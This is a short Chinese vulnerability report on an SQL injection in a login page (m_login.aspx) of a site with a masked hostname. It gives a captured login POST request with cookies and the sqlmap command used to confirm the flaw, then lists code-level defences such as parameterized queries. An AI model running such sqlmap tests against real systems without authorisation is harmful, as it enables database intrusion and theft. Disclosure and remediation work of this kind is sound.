通过把SQL命令插入到Web表单提交或输入网址页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
漏洞位置:m_login.aspx
将登录的数据截断,放到sqlmap文件下的23.txt
POST /m_login.aspx HTTP/1.1
Host: www.*****.com:6666
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://www.*****.com:6666/m_login.aspx
X-Requested-With: XMLHttpRequest
X-MicrosoftAjax: Delta=true
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 840
DNT: 1
Connection: close
Cookie: csrftoken=gUN43Grf1Z1vcgq96VdL6AU6vNfWgwfQKk2NREgYHM5Zbd7WmDEqnrp7BAFS1z8b; .IMSANONYMOUS=Zkigic1z1QEkAAAAODFlYWQxYTItZDkyOS00NzZiLTk4NWQtZmU0ZjMwOTZlMDM1qNBSZjkI9MdkSNPxJGT-T-FpkQA1; sessionid=qmtdj6xqvg4m81dwds53piu4pae55uax; ASP.NET_SessionId=cbvsd13zgecoys2ysbsxtedp
sm=sm%7CbtnLogin&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTE1Nzc0MjkzOA9kFgICAw9kFgwCAw8WAh4HVmlzaWJsZWhkAgUPFgIfAGhkAgYPFgIfAGhkAggPFgIfAGhkAgoPZBYCZg9kFgJmD2QWCGYPFgIeB29uY2xpY2sFLEhpZGVEaWFsb2coKTskKCcjcmVzZXRQd2RSZWNvdmVyeScpLmNsaWNrKCk7ZAIBDxYCHwBoZAICD2QWAgIBDzwrAA8BDmhkAgMPZBYCZg9kFgJmDw8WBh4EVGV4dAUG56Gu5a6aHg1PbkNsaWVudENsaWNrBQ1IaWRlRGlhbG9nKCk7HwBoZGQCCw9kFgJmD2QWAmYPZBYEZg8WAh8BBQ1IaWRlRGlhbG9nKCk7ZAIDD2QWAmYPZBYCZg8PFgQfAgUG56Gu5a6aHwMFE3JldHVybiBwcmVDaGdQd2QoKTtkZBgDBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUEcmVtYgUPcG9wJFB3ZFJlY292ZXJ5DxBkFCsBAWZmZAUfcG9wJFB3ZFJlY292ZXJ5JFdpemFyZE11bHRpVmlldw8PZGZk8XgFVJjCZNXghRi1PuaXzerLeJk%3D&tbUser=000000&tbPassword=001111&pop%24PwdRecovery%24tbUserName=&pwd%24tbNew=&pwd%24tbVerify=&__VIEWSTATEGENERATOR=64A35033&__ASYNCPOST=true&btnLogin=%E7%99%BB%20%E5%BD%95
使用sqlmappythonsqlmap.py –r 23.txt 进行测试,可以确认有SQL漏洞。
代码层最佳防御sql漏洞方案:
采用sql语句预编译和绑定变量,是防御sql注入的最佳方法。
1、所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。
2、对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。
3、确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。
4、数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。
5、网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
6、严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
7、避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断